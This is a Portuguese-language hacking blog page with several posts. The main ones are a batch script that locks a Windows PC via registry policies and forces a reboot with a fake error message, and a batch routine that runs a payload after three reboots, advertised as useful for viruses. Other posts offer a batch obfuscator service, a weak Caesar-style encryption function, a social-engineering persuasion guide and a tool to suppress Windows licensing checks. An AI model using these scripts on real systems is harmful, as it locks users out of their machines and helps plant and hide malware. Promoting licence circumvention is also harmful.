Batch para bloquear pc pelo regedit
Copie e salve como nomedoarquivo.bat
@echo off title Bloqueia Pc por REGEDIT set policies="HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" set explorer="HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" set winsyst="HKCU\Software\Policies\Microsoft\Windows\System" set unistall="HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" set international="HKCU\Control Panel\International" set bloq="1" set type="REG_DWORD" :: começamos a bloquear o PC reg add %policies% /v "disableregistrytools" /t %type% /d %bloq% /f reg add %policies% /v "DisableTaskMgr" /t %type% /d %bloq% /f reg add %policies% /v "NoDispBackgroundPage" /t %type% /d %bloq% /f reg add %policies% /v "NoDispAppearancePage" /t %type% /d %bloq% /f reg add %policies% /v "NoDispScrSavPage" /t %type% /d %bloq% /f reg add %policies% /v "NoDispSettingsPage" /t %type% /d %bloq% /f reg add %unistall% /v "NoAddRemovePrograms" /t %type% /d %bloq% /f reg add %explorer% /v "NODispCPL" /t %type% /d %bloq% /f reg add %explorer% /v "StartMenuLogOff" /t %type% /d %bloq% /f reg add %explorer% /v "HideClock" /t %type% /d %bloq% /f reg add %explorer% /v "NoClose" /t %type% /d %bloq% /f reg add %explorer% /v "NoDesktop" /t %type% /d %bloq% /f reg add %explorer% /v "NoFolderOtions" /t %type% /d %bloq% /f reg add %explorer% /v "NoFavoritesMenu" /t %type% /d %bloq% /f reg add %explorer% /v "NoFind" /t %type% /d %bloq% /f reg add %explorer% /v "NoFileMenu" /t %type% /d %bloq% /f reg add %explorer% /v "NoInternetIcon" /t %type% /d %bloq% /f reg add %explorer% /v "NoLoggOff" /t %type% /d %bloq% /f reg add %explorer% /v "NoRun" /t %type% /d %bloq% /f reg add %explorer% /v "NoSetTaskbar" /t %type% /d %bloq% /f reg add %explorer% /v "NoTrayContextMenu" /t %type% /d %bloq% /f reg add %explorer% /v "NoFind" /t %type% /d %bloq% /f reg add %explorer% /v "NoSetTaskBar" /t %type% /d %bloq% /f reg add %explorer% /v "NoCommonGroups" /t %type% /d %bloq% /f reg add %explorer% /v "NoFavoritesMenu" /t %type% /d %bloq% /f reg add %explorer% /v "NoStartMenuMFUprogramsList" /t %type% /d %bloq% /f reg add %explorer% /v "NoSMHelp" /t %type% /d %bloq% /f reg add %explorer% /v "NoStartMenuMorePrograms" /t %type% /d %bloq% /f reg add %explorer% /v "NoStartMenuPinnedList" /t %type% /d %bloq% /f reg add %explorer% /v "NoSetTaskbar" /t %type% /d %bloq% /f reg add %explorer% /v "NoToolbarsOnTaskbar" /t %type% /d %bloq% /f reg add %explorer% /v "NoSMMyDocs" /t %type% /d %bloq% /f reg add %explorer% /v "NoStartMenuMyMusic" /t %type% /d %bloq% /f reg add %explorer% /v "NoSMMyPictures" /t %type% /d %bloq% /f :: NOME AO LADO DO RELOGIO reg add %international% /v "s1159" /t "REG_SZ" /d "BOSS-HEAD" /f reg add %international% /v "s2359" /t "REG_SZ" /d "BOSS-HEAD" /f reg add %international% /v "sTimeFormat" /t "REG_SZ" /d "HH:mm:ss tt" /f reg add %winsyst% /v "DisableCMD" /t %type% /d %bloq% /f shutdown -r -c "FATAL ERROR WINDOWS NEED RESTART!!!" -t 20
Para melhor visualização click no Link http://paste.ubuntu.com/644474/
Popularity: unranked [?]
Executar comando apos 3 rebots
Fala Pessoal, aqui vai um codigo para executar determinado comando apos 3 rebots! muito bom para vírus e etc..
@echo off
if exist "%systemroot%\KB930801.SYS" (goto next) ELSE (
echo. >"%systemroot%\KB930801.SYS"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f /v Runexec /t reg_sz /d 3
exit
)
:next
for /f "Skip=1 Tokens=3*" %%a in ('reg query
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v Runexec') do set valor_da_chave=%%a
set /a valor_da_chave=%valor_da_chave%-1
if /i [%valor_da_chave%]==[0] goto exec
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f /v Runexec /t reg_sz /d %valor_da_chave%
exit
:exec
:: Coloque aqui o que vc quer que seja executado apos 3 inicializações
msg * O computador foi reiniciado 3 vezes. <code>
</code>
Layout fode com a visualização, click no link para ver melhor o codigo: http://pastebin.com/rhXniVpC
Popularity: unranked [?]
Função para Criptografar e Descriptografar uma String
{Abaixo seguem 3 funcoes, a primeira retorna o código ASCII de cada caracter, a segunda Criptografa uma string
e a terceira descriptografa. Voce pode sempre mudar a chave como preferir.
Espero ter sido de ajuda - M C Zanetti}
<code>//funcao que retorno o código ASCII dos caracteres
function AsciiToInt(Caracter: Char): Integer;
var
i: Integer;
begin
i := 32;
while i < 255 do begin
if Chr(i) = Caracter then
Break;
i := i + 1;
end;
Result := i;
end;
{ Esta funcao tem como objetivo criptografar uma string utilizando o código ASCII de cada caracter e
somando a esse código o valor da CHAVE}
Function Criptografa(texto:string;chave:integer):String;
var
cont:integer;
retorno:string;
begin
if (trim(texto)=EmptyStr) or (chave=0) then begin
result:=texto;
end else begin
retorno:='';
for cont:=1 to length(texto) do begin
retorno:=retorno+chr(asciitoint(texto[cont])+chave);
end;
result:=retorno;
end;
end;
{Esta funcao é semelhante a funcao de Criptografia mais com o objetivo de descriptografar a string }
Function DesCriptografa(texto:string;chave:integer):String;
var
cont:integer;
retorno:string;
begin
if (trim(texto)=EmptyStr) or (chave=0) then begin
result:=texto;
end else begin
retorno:='';
for cont:=1 to length(texto) do begin
retorno:=retorno+chr(asciitoint(texto[cont])-chave);
end;
result:=retorno;
end;
end;
{Exemplo de Utilização das funcoes}
data_inicio:=criptografa(strtran(datetostr(date),'/',''),108); //esta linha criptografa a data, somando ao codigo ASCII 108 posicoes
data_inicio:=DesCriptografa(inicio,108); //esta linha descriptografa a data, retirando as mesmas 108 posicoes
</code>
<code>Dica: Em um mesmo campo ou string utilize sempre a mesma chave para criptografar e descriptografar.</code>Novo layout fode com a visualização dos codigos, para ver ele melhor click : http://paste.ubuntu.com/639163/
Popularity: unranked [?]
Criptografia Bat Script
Fala pessoal depois de muito tempo sem postar, ando sem tempo
Aqui vai um novo Serviço do nosso site, um criptografador Batch Script.
Link: http://epterritori.orgfree.com/cript/Ocultador.php
Abraços!
Qualquer coisa entre em contato
Popularity: unranked [?]
#PrecoJusto
Há tempo demais somos obrigados a pagar valores exorbitantes para podermos ter aquilo que o resto do mundo inteiro tem barato: produtos de mídia e eletrônicos como DVD’s, BluRays, Videogames, Jogos, iPads, iPhones, iPods e tantos outros exemplos…
Acessem o Site http://www.precojustoja.com.br/
e Participem da Campanha, vale a pena e vamos tentar mudar essa merda… Eu não vejo nada de bom sendo feito com o dinheiro arrecado dos impostos abusivos você vê? se não tambem se inscreva.
Abraços MotherFuckers
Popularity: unranked [?]
Engenharia Social – Encantando as pessoas
CONHEÇA A NATUREZA HUMANA
Essencialmente o ser humano é egoísta. As pessoas estão mais interessadas nelas mesmas. Você
está mais interessado em você mesmo que em qualquer outra pessoa no mundo. Reconhecendo
este egoísmo natural do ser humano, você poderá melhor se relacionar com as pessoas.
ELOGIE
Todos gostamos de ouvir uma palavra gentil. Para conquistar alguém basta dizer coisas
agradáveis. O elogio deve ser sincero, natural. Elogie o ato e não a pessoa. Evitará favoritismo e
constrangimentos. Diga algo assim: ” Arthur, seu trabalho ficou ótimo.”( não diga: ” Arthur,
você é ótimo profissional.”). Habitue-se a elogiar e sentirá como você e as pessoas se sentirão
melhor. Não exagere nos elogios.
FAÇA AS PESSOAS SE SENTIREM IMPORTANTES
Todos vivemos para sermos reconhecidos. Dê uma forma ou de outra desejamos ser importantes.
Para conquistar alguém faça-a se sentir importante. Siga estas dicas:
• Fale o nome da pessoa. Nosso nome soa como música aos nossos ouvidos.
• Ouça com atenção. Repare: quando alguém ouve você com atenção, você se sente
importante.
• Antes de responder, aguarde uns segundos. Faça uma pausa. Dará a impressão de que você
pensou e que valeu a pena refletir.
• Leve em consideração a todos. Evite falar mais com o líder ou alguém considerado
importante. Evite favoritismo.
OUÇA COM ATENÇÃO
Quanto mais você ouvir alguém, mais se tornará interessante para ela. Um bom ouvinte permite
ao outro escutar a pessoa mais importante do mundo: ela mesma. Dicas para encantar:
• Olhe com atenção para quem está falando. Evite ouvir olhando para outras pessoas, coisas ou
lugares ” interessantes”. Algumas pessoas mostram o quanto são “antipáticas” com seus olhares
evasivos.
• Não deixe ninguém ou qualquer barulho interferir. Envolva-se no assunto por completo. Se
alguém estiver atrapalhando diga: ” Por favor, deixe-me ouvir o Pedro…” Todos apreciarão seu
cuidado com pessoas.
• Não fique ansioso para falar sobre outra coisa. Mantenha a calma. Quem fala muito pode ser
considerado ” tagarela” e egoísta por querer ser sempre o centro das atenções.
• Desenvolva a conversa, faça novas perguntas. Isto demonstrará que você dá importância a
quem perguntou.
CONCORDE COM AS PESSOAS
Desenvolva uma personalidade tolerante. Ninguém gosta de ser contrariado. Pessoas adoram
aqueles que concordam com elas.
Mesmo que não concorde com uma pessoa, procure extrair da fala dela algo que seja comum,
verdadeiro, para você e ela.
Evidencie que concorda com ela. Movimente a cabeça ou fale claramente: “Concordo com
você.”
Evite discordar abertamente, salvo exceções. Discordando, de preferência não diga nada.
Freqüentemente não vale a pena discordar.
EVITE POLÊMICAS, DISCUSSÕES.
Apresente seu assunto sem que as pessoas levantem objeções contra você. Claro, por mais que
tente ser neutro vai sempre encontrar alguém que discorde de você. Discordará da sua
neutralidade. Em vez de dar sua opinião, exponha a de autoridades no assunto, mesmo que você
seja a autoridade máxima. Se as pessoas não concordarem com a opinião, não será a sua mas a
de outra pessoa. Não se trata de não ter opinião, mas de evitar discussões desnecessárias. Quem
discute perde pontos. Seja diplomata!
DESCUBRA PELO QUE O OUTRO SE FASCINA, QUER OU DESEJA E MOSTRE A ELE COMO CONSEGUIR.
Sabendo o que os outros querem ficará mais fácil envolvê-los, persuadi-los e encantá-los,
falando a eles o que desejam ouvir. Fale a mesma língua dos outros. Fale sobre o que as pessoas
querem ouvir. Foque nelas, não em você. Por exemplo: se uma pessoa ou um grupo deseja
vender mais, mostre COMO podem conseguir o que desejam. Dê sugestões. Torne-se o herói
delas. Para descobrir o que as pessoas querem observe-as, faça perguntas, ouça.
CAUSE BOA IMPRESSÃO.
De forma geral, nós controlamos as opiniões dos outros sobre nós mesmos. As pessoas opinam a
nosso respeito de acordo como nos portamos. Tendemos a responder conforme o comportamento
da outra pessoa. Se você quer encantar pessoas deve primeiro passar uma boa impressão. Dicas:
Seja simpático. Sorria sempre. Quem deseja sucesso pessoal deve sorrir para a vida. Antes de
dizer qualquer coisa, dê um sorriso sincero! A pessoa devolverá um outro sorriso e será mais
receptiva.
Mostre entusiasmo. Ninguém gosta de pessoas desanimadas, de mal com a vida. Sorrir e
evidenciar entusiasmo são comportamentos que devem ser treinados como qualquer outro.
Servem para você construir uma atmosfera positiva, envolvente. Você encantará qualquer pessoa
sorrindo e sendo entusiasmado.
Não queira ser maior que os outros. Não tente ser o melhor fazendo com que os outros sejam
os piores. Quem quer “subir na vida”, “pisando nos outros”, cedo ou tarde perde a batalha. Não
fique se exibindo, mostrando que só você, quase sempre você, é o melhor para fazer isto ou
aquilo. Evite ser arrogante.
O tom da voz é importante no encantamento. Treine uma voz amigável.
SAIBA AGRADECER.
Demonstre sempre sua gratidão. Treine a “arte de dizer obrigado”. Não sussurre ou engula
palavras. Fale com vontade : “obrigado!” Olhe para a pessoa. Sorria. Diga o nome dela. Faz
muita diferença falar simplesmente ” obrigado”, em vez de “obrigado, Paulo!” Lembre: nosso
nome soa como música aos nossos ouvidos.
Fonte:
Popularity: unranked [?]
Como Remover a Mensagem “Esta Cópia do Windows não é Original”
Se você atualizou seu Windows e sem querer baixou o “Notificação das Vantagens do Windows Original”
Agora fica aparecendo toda hora a mensagem:
Basta Baixar o Seguinte Programa e pronto, está mensagem não aparecera mais.
Download:http://www.clubedohardware.com.br/download/software/RemoveWGA.zip
E Lembre-se quando for atualizar esse lixo de desmarcar a opção deste milagroso programa chamado “Notificação das Vantagens do Windows Original”
ABraços
C.J.
Popularity: unranked [?]
